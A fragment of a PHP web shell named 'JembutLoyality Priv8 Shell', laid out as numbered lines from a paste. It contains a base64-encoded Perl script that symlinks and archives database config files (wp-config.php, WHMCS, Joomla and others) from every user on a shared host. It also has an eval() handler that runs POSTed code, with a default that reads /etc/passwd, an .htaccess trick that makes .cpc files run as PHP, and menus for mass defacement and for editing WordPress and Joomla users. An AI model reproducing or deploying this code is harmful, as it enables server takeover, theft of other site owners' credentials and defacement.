gM+iSncfQeRUXMrLsLXDLc5NDx4kKLRZccuN0u19XHMk0S3gO00jzzECRYw7Rx8k1XPOlZnrXg50qIC1yA1SJYUJAzDWtXpUgGCQa47GbGJP5nseK836WZH2JxkuZLJjwUHo2Z59AFpl1uuEPbA48Fjrd0X1Zpy3p95OFFfq/7lq5n7rtFt1RqAeRgyxKoIPbTKiVLW0unR40J+pu0DFgOZxUy+7+/EGoZmSKKu3UWw8iVcJxP+1NlYAp9mgf5X4/RXoiwWn6RrSRFtZoxu5iKZi8cx/TWEm/H6nUYzpK+Gf0smIpeJ7gajxww3/qq8EeVFAR1LS7wU1UEsIaLc0qkI9ZOyHGxvAgC+gcVlCaqRl0BylclPTgT9LG7YfZYnI1+zi5mU3+uJm+u5r0YPj/jlmyms37/fmGG9u4PcAXehKxHMGpqHFGz3t1PCl9euDU3G42m/4Bv9K+Ijsv53It0On+UFxbzLu/rq7fTil8zfK4ofu0Es1wbLtwmtBbm5Imx8NTEmmu5Hj4YjIr8UzjepGykhHHK19fegM00oMQ3r4P5p59n0P6Ch56pO8SIG4xKuF1u93nYZ/IsL61Tt+x4OjTyJGmlSBpEgZ5xuST/461RpRuaI8BYfHslvBQiM8yihy/i+eFRFRunebKSqLJdCTLkki9O7DbHhTC+N/fef9EtZFQJLOSSHut/gM=";
  562. //confshell
  563. $configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
  564. ?>
  565. <html>
  566. <head>
  567. <title>:) JembutLoyality Shell :)</title>
  568. <script type="text/javascript">
  569. function tukar(lama,baru){
  570. document.getElementById(lama).style.display = 'none';
  571. document.getElementById(baru).style.display = 'block';
  572. }
  573. </script>
  574. <style type="text/css">
  575. body{
  576. background:#000000;;
  577. }
  578. a {
  579. text-decoration:none;
  580. }
  581. a:hover{
  582. border-bottom:0px solid aqua;
  583. }
  584. *{
  585. font-size:11px;
  586. font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans;
  587. color:#FF1493;
  588. }
  589. #menu{
  590. background:#000000;
  591. margin:8px 2px 4px 2px;
  592. }
  593. #menu a{
  594. padding:2px 7px;
  595. margin:0;
  596. background:#BFC7C6;
  597. text-decoration:none;
  598. letter-spacing:2px;
  599. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  600.  
  601. }
  602. #menu a:hover{
  603. background:black;
  604. border-bottom:1px solid #FFFF00;
  605. border-top:1px solid #FFFF00;
  606. }
  607. .tabnet{
  608. margin:15px auto 0 auto;
  609. border: 1px solid #FFFF00;
  610. }
  611. .main {
  612. width:100%;
  613. }
  614. .gaya {
  615. color: white;
  616. }
  617. .inputz{
  618. background:#111111;
  619. border:0;
  620. padding:2px;
  621. border-bottom:1px solid #222222;
  622. border-top:1px solid #222222;
  623. }
  624. .inputzbut{
  625. background:#111111;
  626. color:white;
  627. margin:0 4px;
  628. border:1px solid #444444;
  629.  
  630. }
  631. .inputz:hover
  632. border-bottom:1px solid white;
  633. border-top:1px solid white;
  634.  
  635. }
  636. .inputzbut:hover{
  637. border-bottom:1px solid white;
  638. border-top:1px solid white;
  639. }
  640. .output {
  641. margin:auto;
  642. border:1px solid aqua;
  643. width:100%;
  644. height:400px;
  645. background:#000000;
  646. padding:0 2px;
  647. }
  648. .cmdbox{
  649. width:100%;
  650. }
  651. .head_info{
  652. padding: 0 4px;
  653. }
  654. .jaya{ font-family: ;}
  655.  
  656. .kerupuk{
  657. font-size:50px;
  658. padding:0;
  659. color:red;
  660. }
  661. .kerupuk_1{
  662. text-align:center;
  663. margin:0 4px 0 0;
  664. padding:0 4px 0 0;
  665. border-right:1px solid #333333;
  666. }
  667. .phpinfo table{
  668. width:100%;
  669. padding:0 0 0 0;
  670. }
  671. .phpinfo td{
  672. background:#111111;
  673. color:#cccccc;
  674. padding:6px 8px;;
  675. }
  676. .phpinfo th, th{
  677. background:#191919;
  678. border-bottom:1px solid #333333;
  679. font-weight:normal;
  680. }
  681. .phpinfo h2, .phpinfo h2 a{
  682. text-align:center;
  683. font-size:16px;
  684. padding:0;
  685. margin:30px 0 0 0;
  686. background:aqua;
  687. padding:4px 0;
  688. }
  689. .explore{
  690. width:100%;
  691. }
  692. .explore a {
  693. text-decoration:none;
  694. }
  695. .explore td{
  696. border-bottom:1px solid #333333;
  697. padding:0 8px;
  698. line-height:24px;
  699. }
  700. .explore th{
  701. padding:3px 8px;
  702. font-weight:normal;
  703. }
  704. .explore th:hover , .phpinfo th:hover{
  705. border-bottom:1px solid aqua;
  706. }
  707. .explore tr:hover{
  708. background:gray;
  709. }
  710. .viewfile{
  711. background:white;
  712. color:#000000;
  713. margin:4px 2px;
  714. padding:8px;
  715. }
  716. .sembunyi{
  717. display:none;
  718. padding:0;margin:0;
  719. }
  720. </style></head>
  721. <body onLoad="document.getElementById('cmd').focus();">
  722. <!-- head info start here -->
  723. <div class="main">
  724. <center>
  725. <hr color=black width=100%>
  726. <img src="http://orig05.deviantart.net/a3e6/f/2012/152/4/7/killua_kawaii_chuu__by_renalyrica-d51vz2t.png" width="412" height="215"/><a/><br />
  727. <a href="javascript:void(0)" onclick="location.reload();"><h2><center>Jembut Loyality Priv8 Shell</center></h2></a>
  728. </center>
  729. <a href="javascript:void(0)" onclick="location.reload();"><h2><center>-= Recoded by Kapaljetz666 =-</center></h2></a>
  730. <hr color=black width=100%>
  731. </div>
  732. <center>
  733. <td><?php echo $buff; ?></td>
  734. <hr color=black width=100%>
  735.  
  736.  
  737.  
  738. <!-- head info end here -->
  739. <!-- menu start -->
  740. <div id="menu">
  741. <a href="?<?php echo "y=".$pwd; ?>">Home</a>
  742. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">Shell</a>
  743. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>
  744. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">Mysql</a>
  745. <a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">Jumping</a>
  746. <a href="?<?php echo "y=".$pwd; ?>&amp;x=grabc">Config Grabber</a>
  747. <a href="?<?php echo "y=".$pwd; ?>&amp;x=sec">Symlink Server</a>
  748. <a href="?<?php echo "y=".$pwd; ?>&amp;x=sf">Symlink File</a>
  749. <a href="?<?php echo "y=".$pwd; ?>&amp;x=dv">/var/named</a>
  750. <a href="?<?php echo "y=".$pwd; ?>&amp;x=dump">DB Dump</a>
  751. <br><br>
  752. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload</a>
  753. <a href="?<?php echo "y=".$pwd; ?>&amp;x=ggwp">Wordpress Auto Edit User</a>
  754. <a href="?<?php echo "y=".$pwd; ?>&amp;x=joom">Joomla Auto Edit User</a>
  755. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">PhpInfo</a>
  756. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>
  757. <a href="?<?php echo "y=".$pwd; ?>&amp;x=hash">Hash</a>
  758. <a href="?<?php echo "y=".$pwd; ?>&amp;x=hashid">Hash ID</a>
  759. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cpanel">Cpanel Tools</a>
  760. <a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">NetSploit</a>
  761. <a href="?<?php echo "y=".$pwd; ?>&amp;x=about">About</a>
  762. <a href="?<?php echo "y=".$pwd; ?>&amp;x=logout">Logout</a>
  763.  
  764. </div>
  765. <!-- menu end -->
  766.  
  767. <?php
  768. @ini_set('display_errors', 0);
  769. if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
  770. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  771. <table class="cmdbox">
  772. <tr><td>
  773. <textarea class="output" name="cmd" id="cmd">
  774. <?php
  775. if(isset($_POST['submitcmd'])) {
  776. echo eval(magicboom($_POST['cmd']));
  777. }
  778. else echo "echo file_get_contents('/etc/passwd');";
  779. ?>
  780. </textarea>
  781. <tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
  782. </table>
  783. </form>
  784.  
  785. <?php }
  786.  
  787. elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
  788. {
  789. ?>
  790. <form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">
  791. <?php
  792. echo "<center/><br/><b><font color=white>Mysql Interface by S4MP4H</font></b><br><br>";
  793. mkdir('mysql', 0755);
  794. chdir('mysql');
  795. $akses = ".htaccess";
  796. $buka_lah = "$akses";
  797. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  798. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  799. AddType application/x-httpd-php .cpc
  800. ";
